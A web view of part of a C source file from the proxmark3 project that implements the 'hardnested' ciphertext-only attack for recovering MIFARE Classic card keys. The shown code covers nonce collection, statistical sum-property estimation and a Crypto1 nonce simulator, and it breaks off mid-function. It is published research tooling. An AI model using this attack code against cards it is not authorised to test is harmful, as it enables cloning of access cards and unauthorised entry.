]> cvs.zerfleddert.de Git - proxmark3-svn/blob - client/cmdhfmfhard.c
projects / proxmark3-svn / blob
? search:
summary | shortlog | log | commit | commitdiff | tree
blame | history | raw | HEAD
CHG: commented away some of the debug printf statements in hardnested.
[proxmark3-svn] / client / cmdhfmfhard.c
1 //-----------------------------------------------------------------------------
2 // Copyright (C) 2015 piwi
3 // fiddled with 2016 Azcid (hardnested bitsliced Bruteforce imp)
4 // This code is licensed to you under the terms of the GNU GPL, version 2 or,
5 // at your option, any later version. See the LICENSE.txt file for the text of
6 // the license.
7 //-----------------------------------------------------------------------------
8 // Implements a card only attack based on crypto text (encrypted nonces
9 // received during a nested authentication) only. Unlike other card only
10 // attacks this doesn't rely on implementation errors but only on the
11 // inherent weaknesses of the crypto1 cypher. Described in
12 // Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
13 // Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
14 // Computer and Communications Security, 2015
15 //-----------------------------------------------------------------------------
16
17 #include <stdlib.h>
18 #include <stdio.h>
19 #include <string.h>
20 #include <pthread.h>
21 #include <locale.h>
22 #include <math.h>
23 #include "proxmark3.h"
24 #include "cmdmain.h"
25 #include "ui.h"
26 #include "util.h"
27 #include "nonce2key/crapto1.h"
28 #include "nonce2key/crypto1_bs.h"
29 #include "parity.h"
30 #ifdef __WIN32
31 #include <windows.h>
32 #endif
33 #include <malloc.h>
34 #include <assert.h>
35
36 // uint32_t test_state_odd = 0;
37 // uint32_t test_state_even = 0;
38
39 #define CONFIDENCE_THRESHOLD 0.95 // Collect nonces until we are certain enough that the following brute force is successfull
40 #define GOOD_BYTES_REQUIRED 28
41
42 static const float p_K[257] = { // the probability that a random nonce has a Sum Property == K
43 0.0290, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
44 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
45 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
46 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
47 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
48 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
49 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
50 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
51 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
52 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
53 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
54 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
55 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
56 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
57 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
58 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
59 0.4180, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
60 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
61 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
62 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
63 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
64 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
65 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
66 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
67 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
68 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
69 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
70 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
71 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
72 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
73 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
74 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
75 0.0290 };
76
77 typedef struct noncelistentry {
78 uint32_t nonce_enc;
79 uint8_t par_enc;
80 void *next;
81 } noncelistentry_t;
82
83 typedef struct noncelist {
84 uint16_t num;
85 uint16_t Sum;
86 uint16_t Sum8_guess;
87 uint8_t BitFlip[2];
88 float Sum8_prob;
89 bool updated;
90 noncelistentry_t *first;
91 float score1, score2;
92 } noncelist_t;
93
94 static size_t nonces_to_bruteforce = 0;
95 static noncelistentry_t *brute_force_nonces[256];
96 static uint32_t cuid = 0;
97 static noncelist_t nonces[256];
98 static uint8_t best_first_bytes[256];
99 static uint16_t first_byte_Sum = 0;
100 static uint16_t first_byte_num = 0;
101 static uint16_t num_good_first_bytes = 0;
102 static uint64_t maximum_states = 0;
103 static uint64_t known_target_key;
104 static bool write_stats = false;
105 static FILE *fstats = NULL;
106
107
108 typedef enum {
109 EVEN_STATE = 0,
110 ODD_STATE = 1
111 } odd_even_t;
112
113 #define STATELIST_INDEX_WIDTH 16
114 #define STATELIST_INDEX_SIZE (1<<STATELIST_INDEX_WIDTH)
115
116 typedef struct {
117 uint32_t *states[2];
118 uint32_t len[2];
119 uint32_t *index[2][STATELIST_INDEX_SIZE];
120 } partial_indexed_statelist_t;
121
122 typedef struct {
123 uint32_t *states[2];
124 uint32_t len[2];
125 void* next;
126 } statelist_t;
127
128
129 static partial_indexed_statelist_t partial_statelist[17];
130 static partial_indexed_statelist_t statelist_bitflip;
131 static statelist_t *candidates = NULL;
132
133 static int add_nonce(uint32_t nonce_enc, uint8_t par_enc)
134 {
135 uint8_t first_byte = nonce_enc >> 24;
136 noncelistentry_t *p1 = nonces[first_byte].first;
137 noncelistentry_t *p2 = NULL;
138
139 if (p1 == NULL) { // first nonce with this 1st byte
140 first_byte_num++;
141 first_byte_Sum += evenparity32((nonce_enc & 0xff000000) | (par_enc & 0x08));
142 // printf("Adding nonce 0x%08x, par_enc 0x%02x, parity(0x%08x) = %d\n",
143 // nonce_enc,
144 // par_enc,
145 // (nonce_enc & 0xff000000) | (par_enc & 0x08) |0x01,
146 // parity((nonce_enc & 0xff000000) | (par_enc & 0x08));
147 }
148
149 while (p1 != NULL && (p1->nonce_enc & 0x00ff0000) < (nonce_enc & 0x00ff0000)) {
150 p2 = p1;
151 p1 = p1->next;
152 }
153
154 if (p1 == NULL) { // need to add at the end of the list
155 if (p2 == NULL) { // list is empty yet. Add first entry.
156 p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t));
157 } else { // add new entry at end of existing list.
158 p2 = p2->next = malloc(sizeof(noncelistentry_t));
159 }
160 } else if ((p1->nonce_enc & 0x00ff0000) != (nonce_enc & 0x00ff0000)) { // found distinct 2nd byte. Need to insert.
161 if (p2 == NULL) { // need to insert at start of list
162 p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t));
163 } else {
164 p2 = p2->next = malloc(sizeof(noncelistentry_t));
165 }
166 } else { // we have seen this 2nd byte before. Nothing to add or insert.
167 return (0);
168 }
169
170 // add or insert new data
171 p2->next = p1;
172 p2->nonce_enc = nonce_enc;
173 p2->par_enc = par_enc;
174
175 if(nonces_to_bruteforce < 256){
176 brute_force_nonces[nonces_to_bruteforce] = p2;
177 nonces_to_bruteforce++;
178 }
179
180 nonces[first_byte].num++;
181 nonces[first_byte].Sum += evenparity32((nonce_enc & 0x00ff0000) | (par_enc & 0x04));
182 nonces[first_byte].updated = true; // indicates that we need to recalculate the Sum(a8) probability for this first byte
183
184 return (1); // new nonce added
185 }
186
187 static void init_nonce_memory(void)
188 {
189 for (uint16_t i = 0; i < 256; i++) {
190 nonces[i].num = 0;
191 nonces[i].Sum = 0;
192 nonces[i].Sum8_guess = 0;
193 nonces[i].Sum8_prob = 0.0;
194 nonces[i].updated = true;
195 nonces[i].first = NULL;
196 }
197 first_byte_num = 0;
198 first_byte_Sum = 0;
199 num_good_first_bytes = 0;
200 }
201
202
203 static void free_nonce_list(noncelistentry_t *p)
204 {
205 if (p == NULL) {
206 return;
207 } else {
208 free_nonce_list(p->next);
209 free(p);
210 }
211 }
212
213 static void free_nonces_memory(void)
214 {
215 for (uint16_t i = 0; i < 256; i++) {
216 free_nonce_list(nonces[i].first);
217 }
218 }
219
220 static uint16_t PartialSumProperty(uint32_t state, odd_even_t odd_even)
221 {
222 uint16_t sum = 0;
223 for (uint16_t j = 0; j < 16; j++) {
224 uint32_t st = state;
225 uint16_t part_sum = 0;
226 if (odd_even == ODD_STATE) {
227 for (uint16_t i = 0; i < 5; i++) {
228 part_sum ^= filter(st);
229 st = (st << 1) | ((j >> (3-i)) & 0x01) ;
230 }
231 part_sum ^= 1; // XOR 1 cancelled out for the other 8 bits
232 } else {
233 for (uint16_t i = 0; i < 4; i++) {
234 st = (st << 1) | ((j >> (3-i)) & 0x01) ;
235 part_sum ^= filter(st);
236 }
237 }
238 sum += part_sum;
239 }
240 return sum;
241 }
242
243 // static uint16_t SumProperty(struct Crypto1State *s)
244 // {
245 // uint16_t sum_odd = PartialSumProperty(s->odd, ODD_STATE);
246 // uint16_t sum_even = PartialSumProperty(s->even, EVEN_STATE);
247 // return (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even);
248 // }
249
250 static double p_hypergeometric(uint16_t N, uint16_t K, uint16_t n, uint16_t k)
251 {
252 // for efficient computation we are using the recursive definition
253 // (K-k+1) * (n-k+1)
254 // P(X=k) = P(X=k-1) * --------------------
255 // k * (N-K-n+k)
256 // and
257 // (N-K)*(N-K-1)*...*(N-K-n+1)
258 // P(X=0) = -----------------------------
259 // N*(N-1)*...*(N-n+1)
260
261 if (n-k > N-K || k > K) return 0.0; // avoids log(x<=0) in calculation below
262 if (k == 0) {
263 // use logarithms to avoid overflow with huge factorials (double type can only hold 170!)
264 double log_result = 0.0;
265 for (int16_t i = N-K; i >= N-K-n+1; i--) {
266 log_result += log(i);
267 }
268 for (int16_t i = N; i >= N-n+1; i--) {
269 log_result -= log(i);
270 }
271 return exp(log_result);
272 } else {
273 if (n-k == N-K) { // special case. The published recursion below would fail with a divide by zero exception
274 double log_result = 0.0;
275 for (int16_t i = k+1; i <= n; i++) {
276 log_result += log(i);
277 }
278 for (int16_t i = K+1; i <= N; i++) {
279 log_result -= log(i);
280 }
281 return exp(log_result);
282 } else { // recursion
283 return (p_hypergeometric(N, K, n, k-1) * (K-k+1) * (n-k+1) / (k * (N-K-n+k)));
284 }
285 }
286 }
287
288 static float sum_probability(uint16_t K, uint16_t n, uint16_t k)
289 {
290 const uint16_t N = 256;
291
292 if (k > K || p_K[K] == 0.0) return 0.0;
293
294 double p_T_is_k_when_S_is_K = p_hypergeometric(N, K, n, k);
295 double p_S_is_K = p_K[K];
296 double p_T_is_k = 0;
297 for (uint16_t i = 0; i <= 256; i++) {
298 if (p_K[i] != 0.0) {
299 p_T_is_k += p_K[i] * p_hypergeometric(N, i, n, k);
300 }
301 }
302 return(p_T_is_k_when_S_is_K * p_S_is_K / p_T_is_k);
303 }
304
305
306 static inline uint_fast8_t common_bits(uint_fast8_t bytes_diff)
307 {
308 static const uint_fast8_t common_bits_LUT[256] = {
309 8, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
310 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
311 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
312 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
313 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
314 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
315 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
316 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
317 7, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
318 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
319 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
320 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
321 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
322 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
323 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
324 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0
325 };
326
327 return common_bits_LUT[bytes_diff];
328 }
329
330 static void Tests()
331 {
332 // printf("Tests: Partial Statelist sizes\n");
333 // for (uint16_t i = 0; i <= 16; i+=2) {
334 // printf("Partial State List Odd [%2d] has %8d entries\n", i, partial_statelist[i].len[ODD_STATE]);
335 // }
336 // for (uint16_t i = 0; i <= 16; i+=2) {
337 // printf("Partial State List Even [%2d] has %8d entries\n", i, partial_statelist[i].len[EVEN_STATE]);
338 // }
339
340 // #define NUM_STATISTICS 100000
341 // uint32_t statistics_odd[17];
342 // uint64_t statistics[257];
343 // uint32_t statistics_even[17];
344 // struct Crypto1State cs;
345 // time_t time1 = clock();
346
347 // for (uint16_t i = 0; i < 257; i++) {
348 // statistics[i] = 0;
349 // }
350 // for (uint16_t i = 0; i < 17; i++) {
351 // statistics_odd[i] = 0;
352 // statistics_even[i] = 0;
353 // }
354
355 // for (uint64_t i = 0; i < NUM_STATISTICS; i++) {
356 // cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff);
357 // cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff);
358 // uint16_t sum_property = SumProperty(&cs);
359 // statistics[sum_property] += 1;
360 // sum_property = PartialSumProperty(cs.even, EVEN_STATE);
361 // statistics_even[sum_property]++;
362 // sum_property = PartialSumProperty(cs.odd, ODD_STATE);
363 // statistics_odd[sum_property]++;
364 // if (i%(NUM_STATISTICS/100) == 0) printf(".");
365 // }
366
367 // printf("\nTests: Calculated %d Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)clock() - time1)/CLOCKS_PER_SEC, NUM_STATISTICS/((float)clock() - time1)*CLOCKS_PER_SEC);
368 // for (uint16_t i = 0; i < 257; i++) {
369 // if (statistics[i] != 0) {
370 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/NUM_STATISTICS);
371 // }
372 // }
373 // for (uint16_t i = 0; i <= 16; i++) {
374 // if (statistics_odd[i] != 0) {
375 // printf("probability odd [%2d] = %0.5f\n", i, (float)statistics_odd[i]/NUM_STATISTICS);
376 // }
377 // }
378 // for (uint16_t i = 0; i <= 16; i++) {
379 // if (statistics_odd[i] != 0) {
380 // printf("probability even [%2d] = %0.5f\n", i, (float)statistics_even[i]/NUM_STATISTICS);
381 // }
382 // }
383
384 // printf("Tests: Sum Probabilities based on Partial Sums\n");
385 // for (uint16_t i = 0; i < 257; i++) {
386 // statistics[i] = 0;
387 // }
388 // uint64_t num_states = 0;
389 // for (uint16_t oddsum = 0; oddsum <= 16; oddsum += 2) {
390 // for (uint16_t evensum = 0; evensum <= 16; evensum += 2) {
391 // uint16_t sum = oddsum*(16-evensum) + (16-oddsum)*evensum;
392 // statistics[sum] += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
393 // num_states += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
394 // }
395 // }
396 // printf("num_states = %lld, expected %lld\n", num_states, (1LL<<48));
397 // for (uint16_t i = 0; i < 257; i++) {
398 // if (statistics[i] != 0) {
399 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/num_states);
400 // }
401 // }
402
403 // printf("\nTests: Hypergeometric Probability for selected parameters\n");
404 // printf("p_hypergeometric(256, 206, 255, 206) = %0.8f\n", p_hypergeometric(256, 206, 255, 206));
405 // printf("p_hypergeometric(256, 206, 255, 205) = %0.8f\n", p_hypergeometric(256, 206, 255, 205));
406 // printf("p_hypergeometric(256, 156, 1, 1) = %0.8f\n", p_hypergeometric(256, 156, 1, 1));
407 // printf("p_hypergeometric(256, 156, 1, 0) = %0.8f\n", p_hypergeometric(256, 156, 1, 0));
408 // printf("p_hypergeometric(256, 1, 1, 1) = %0.8f\n", p_hypergeometric(256, 1, 1, 1));
409 // printf("p_hypergeometric(256, 1, 1, 0) = %0.8f\n", p_hypergeometric(256, 1, 1, 0));
410
411 // struct Crypto1State *pcs;
412 // pcs = crypto1_create(0xffffffffffff);
413 // printf("\nTests: for key = 0xffffffffffff:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
414 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
415 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
416 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
417 // best_first_bytes[0],
418 // SumProperty(pcs),
419 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
420 // //test_state_odd = pcs->odd & 0x00ffffff;
421 // //test_state_even = pcs->even & 0x00ffffff;
422 // crypto1_destroy(pcs);
423 // pcs = crypto1_create(0xa0a1a2a3a4a5);
424 // printf("Tests: for key = 0xa0a1a2a3a4a5:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
425 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
426 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
427 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
428 // best_first_bytes[0],
429 // SumProperty(pcs),
430 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
431 // //test_state_odd = pcs->odd & 0x00ffffff;
432 // //test_state_even = pcs->even & 0x00ffffff;
433 // crypto1_destroy(pcs);
434 // pcs = crypto1_create(0xa6b9aa97b955);
435 // printf("Tests: for key = 0xa6b9aa97b955:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
436 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
437 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
438 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
439 // best_first_bytes[0],
440 // SumProperty(pcs),
441 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
442 //test_state_odd = pcs->odd & 0x00ffffff;
443 //test_state_even = pcs->even & 0x00ffffff;
444 // crypto1_destroy(pcs);
445
446
447 // printf("\nTests: number of states with BitFlipProperty: %d, (= %1.3f%% of total states)\n", statelist_bitflip.len[0], 100.0 * statelist_bitflip.len[0] / (1<<20));
448
449 // printf("\nTests: Actual BitFlipProperties odd/even:\n");
450 // for (uint16_t i = 0; i < 256; i++) {
451 // printf("[%02x]:%c ", i, nonces[i].BitFlip[ODD_STATE]?'o':nonces[i].BitFlip[EVEN_STATE]?'e':' ');
452 // if (i % 8 == 7) {
453 // printf("\n");
454 // }
455 // }
456
457 // printf("\nTests: Sorted First Bytes:\n");
458 // for (uint16_t i = 0; i < 256; i++) {
459 // uint8_t best_byte = best_first_bytes[i];
460 // printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c\n",
461 // //printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c, score1: %1.5f, score2: %1.0f\n",
462 // i, best_byte,
463 // nonces[best_byte].num,
464 // nonces[best_byte].Sum,
465 // nonces[best_byte].Sum8_guess,
466 // nonces[best_byte].Sum8_prob * 100,
467 // nonces[best_byte].BitFlip[ODD_STATE]?'o':nonces[best_byte].BitFlip[EVEN_STATE]?'e':' '
468 // //nonces[best_byte].score1,
469 // //nonces[best_byte].score2
470 // );
471 // }
472
473 // printf("\nTests: parity performance\n");
474 // time_t time1p = clock();
475 // uint32_t par_sum = 0;
476 // for (uint32_t i = 0; i < 100000000; i++) {
477 // par_sum += parity(i);
478 // }
479 // printf("parsum oldparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);
480
481 // time1p = clock();
482 // par_sum = 0;
483 // for (uint32_t i = 0; i < 100000000; i++) {
484 // par_sum += evenparity32(i);
485 // }
486 // printf("parsum newparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);
487
488
489 }
490
491 static void sort_best_first_bytes(void)
492 {
493 // sort based on probability for correct guess
494 for (uint16_t i = 0; i < 256; i++ ) {
495 uint16_t j = 0;
496 float prob1 = nonces[i].Sum8_prob;
497 float prob2 = nonces[best_first_bytes[0]].Sum8_prob;
498 while (prob1 < prob2 && j < i) {
499 prob2 = nonces[best_first_bytes[++j]].Sum8_prob;
500 }
501 if (j < i) {
502 for (uint16_t k = i; k > j; k--) {
503 best_first_bytes[k] = best_first_bytes[k-1];
504 }
505 }
506 best_first_bytes[j] = i;
507 }
508
509 // determine how many are above the CONFIDENCE_THRESHOLD
510 uint16_t num_good_nonces = 0;
511 for (uint16_t i = 0; i < 256; i++) {
512 if (nonces[best_first_bytes[i]].Sum8_prob >= CONFIDENCE_THRESHOLD) {
513 ++num_good_nonces;
514 }
515 }
516
517 uint16_t best_first_byte = 0;
518
519 // select the best possible first byte based on number of common bits with all {b'}
520 // uint16_t max_common_bits = 0;
521 // for (uint16_t i = 0; i < num_good_nonces; i++) {
522 // uint16_t sum_common_bits = 0;
523 // for (uint16_t j = 0; j < num_good_nonces; j++) {
524 // if (i != j) {
525 // sum_common_bits += common_bits(best_first_bytes[i],best_first_bytes[j]);
526 // }
527 // }
528 // if (sum_common_bits > max_common_bits) {
529 // max_common_bits = sum_common_bits;
530 // best_first_byte = i;
531 // }
532 // }
533
534 // select best possible first byte {b} based on least likely sum/bitflip property
535 float min_p_K = 1.0;
536 for (uint16_t i = 0; i < num_good_nonces; i++ ) {
537 uint16_t sum8 = nonces[best_first_bytes[i]].Sum8_guess;
538 float bitflip_prob = 1.0;
539 if (nonces[best_first_bytes[i]].BitFlip[ODD_STATE] || nonces[best_first_bytes[i]].BitFlip[EVEN_STATE]) {
540 bitflip_prob = 0.09375;
541 }
542 nonces[best_first_bytes[i]].score1 = p_K[sum8] * bitflip_prob;
543 if (p_K[sum8] * bitflip_prob <= min_p_K) {
544 min_p_K = p_K[sum8] * bitflip_prob;
545 }
546 }
547
548
549 // use number of commmon bits as a tie breaker
550 uint16_t max_common_bits = 0;
551 for (uint16_t i = 0; i < num_good_nonces; i++) {
552 float bitflip_prob = 1.0;
553 if (nonces[best_first_bytes[i]].BitFlip[ODD_STATE] || nonces[best_first_bytes[i]].BitFlip[EVEN_STATE]) {
554 bitflip_prob = 0.09375;
555 }
556 if (p_K[nonces[best_first_bytes[i]].Sum8_guess] * bitflip_prob == min_p_K) {
557 uint16_t sum_common_bits = 0;
558 for (uint16_t j = 0; j < num_good_nonces; j++) {
559 sum_common_bits += common_bits(best_first_bytes[i] ^ best_first_bytes[j]);
560 }
561 nonces[best_first_bytes[i]].score2 = sum_common_bits;
562 if (sum_common_bits > max_common_bits) {
563 max_common_bits = sum_common_bits;
564 best_first_byte = i;
565 }
566 }
567 }
568
569 // swap best possible first byte to the pole position
570 uint16_t temp = best_first_bytes[0];
571 best_first_bytes[0] = best_first_bytes[best_first_byte];
572 best_first_bytes[best_first_byte] = temp;
573
574 }
575
576 static uint16_t estimate_second_byte_sum(void)
577 {
578
579 for (uint16_t first_byte = 0; first_byte < 256; first_byte++) {
580 float Sum8_prob = 0.0;
581 uint16_t Sum8 = 0;
582 if (nonces[first_byte].updated) {
583 for (uint16_t sum = 0; sum <= 256; sum++) {
584 float prob = sum_probability(sum, nonces[first_byte].num, nonces[first_byte].Sum);
585 if (prob > Sum8_prob) {
586 Sum8_prob = prob;
587 Sum8 = sum;
588 }
589 }
590 nonces[first_byte].Sum8_guess = Sum8;
591 nonces[first_byte].Sum8_prob = Sum8_prob;
592 nonces[first_byte].updated = false;
593 }
594 }
595
596 sort_best_first_bytes();
597
598 uint16_t num_good_nonces = 0;
599 for (uint16_t i = 0; i < 256; i++) {
600 if (nonces[best_first_bytes[i]].Sum8_prob >= CONFIDENCE_THRESHOLD) {
601 ++num_good_nonces;
602 }
603 }
604
605 return num_good_nonces;
606 }
607
608 static int read_nonce_file(void)
609 {
610 FILE *fnonces = NULL;
611 uint8_t trgBlockNo;
612 uint8_t trgKeyType;
613 uint8_t read_buf[9];
614 uint32_t nt_enc1, nt_enc2;
615 uint8_t par_enc;
616 int total_num_nonces = 0;
617
618 if ((fnonces = fopen("nonces.bin","rb")) == NULL) {
619 PrintAndLog("Could not open file nonces.bin");
620 return 1;
621 }
622
623 PrintAndLog("Reading nonces from file nonces.bin...");
624 size_t bytes_read = fread(read_buf, 1, 6, fnonces);
625 if ( bytes_read == 0) {
626 PrintAndLog("File reading error.");
627 fclose(fnonces);
628 return 1;
629 }
630 cuid = bytes_to_num(read_buf, 4);
631 trgBlockNo = bytes_to_num(read_buf+4, 1);
632 trgKeyType = bytes_to_num(read_buf+5, 1);
633
634 while (fread(read_buf, 1, 9, fnonces) == 9) {
635 nt_enc1 = bytes_to_num(read_buf, 4);
636 nt_enc2 = bytes_to_num(read_buf+4, 4);
637 par_enc = bytes_to_num(read_buf+8, 1);
638 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
639 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
640 add_nonce(nt_enc1, par_enc >> 4);
641 add_nonce(nt_enc2, par_enc & 0x0f);
642 total_num_nonces += 2;
643 }
644 fclose(fnonces);
645 PrintAndLog("Read %d nonces from file. cuid=%08x, Block=%d, Keytype=%c", total_num_nonces, cuid, trgBlockNo, trgKeyType==0?'A':'B');
646
647 return 0;
648 }
649
650 static void Check_for_FilterFlipProperties(void)
651 {
652 printf("Checking for Filter Flip Properties...\n");
653
654 uint16_t num_bitflips = 0;
655
656 for (uint16_t i = 0; i < 256; i++) {
657 nonces[i].BitFlip[ODD_STATE] = false;
658 nonces[i].BitFlip[EVEN_STATE] = false;
659 }
660
661 for (uint16_t i = 0; i < 256; i++) {
662 uint8_t parity1 = (nonces[i].first->par_enc) >> 3; // parity of first byte
663 uint8_t parity2_odd = (nonces[i^0x80].first->par_enc) >> 3; // XOR 0x80 = last bit flipped
664 uint8_t parity2_even = (nonces[i^0x40].first->par_enc) >> 3; // XOR 0x40 = second last bit flipped
665
666 if (parity1 == parity2_odd) { // has Bit Flip Property for odd bits
667 nonces[i].BitFlip[ODD_STATE] = true;
668 num_bitflips++;
669 } else if (parity1 == parity2_even) { // has Bit Flip Property for even bits
670 nonces[i].BitFlip[EVEN_STATE] = true;
671 num_bitflips++;
672 }
673 }
674
675 if (write_stats) {
676 fprintf(fstats, "%d;", num_bitflips);
677 }
678 }
679
680 static void simulate_MFplus_RNG(uint32_t test_cuid, uint64_t test_key, uint32_t *nt_enc, uint8_t *par_enc)
681 {
682 struct Crypto1State sim_cs = {0, 0};
683 // init cryptostate with key:
684 for(int8_t i = 47; i > 0; i -= 2) {
685 sim_cs.odd = sim_cs.odd << 1 | BIT(test_key, (i - 1) ^ 7);
686 sim_cs.even = sim_cs.even << 1 | BIT(test_key, i ^ 7);
687 }
688
689 *par_enc = 0;
690 uint32_t nt = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
691 for (int8_t byte_pos = 3; byte_pos >= 0; byte_pos--) {
692 uint8_t nt_byte_dec = (nt >> (8*byte_pos)) & 0xff;
693 uint8_t nt_byte_enc = crypto1_byte(&sim_cs, nt_byte_dec ^ (test_cuid >> (8*byte_pos)), false) ^ nt_byte_dec; // encode the nonce byte
694 *nt_enc = (*nt_enc << 8) | nt_byte_enc;
695 uint8_t ks_par = filter(sim_cs.odd); // the keystream bit to encode/decode the parity bit
696 uint8_t nt_byte_par_enc = ks_par ^ oddparity8(nt_byte_dec); // determine the nt byte's parity and encode it
697 *par_enc = (*par_enc << 1) | nt_byte_par_enc;
698 }
699
700 }
701
702 static void simulate_acquire_nonces()
703 {
704 clock_t time1 = clock();
705 bool filter_flip_checked = false;
706 uint32_t total_num_nonces = 0;
707 uint32_t next_fivehundred = 500;
708 uint32_t total_added_nonces = 0;
709
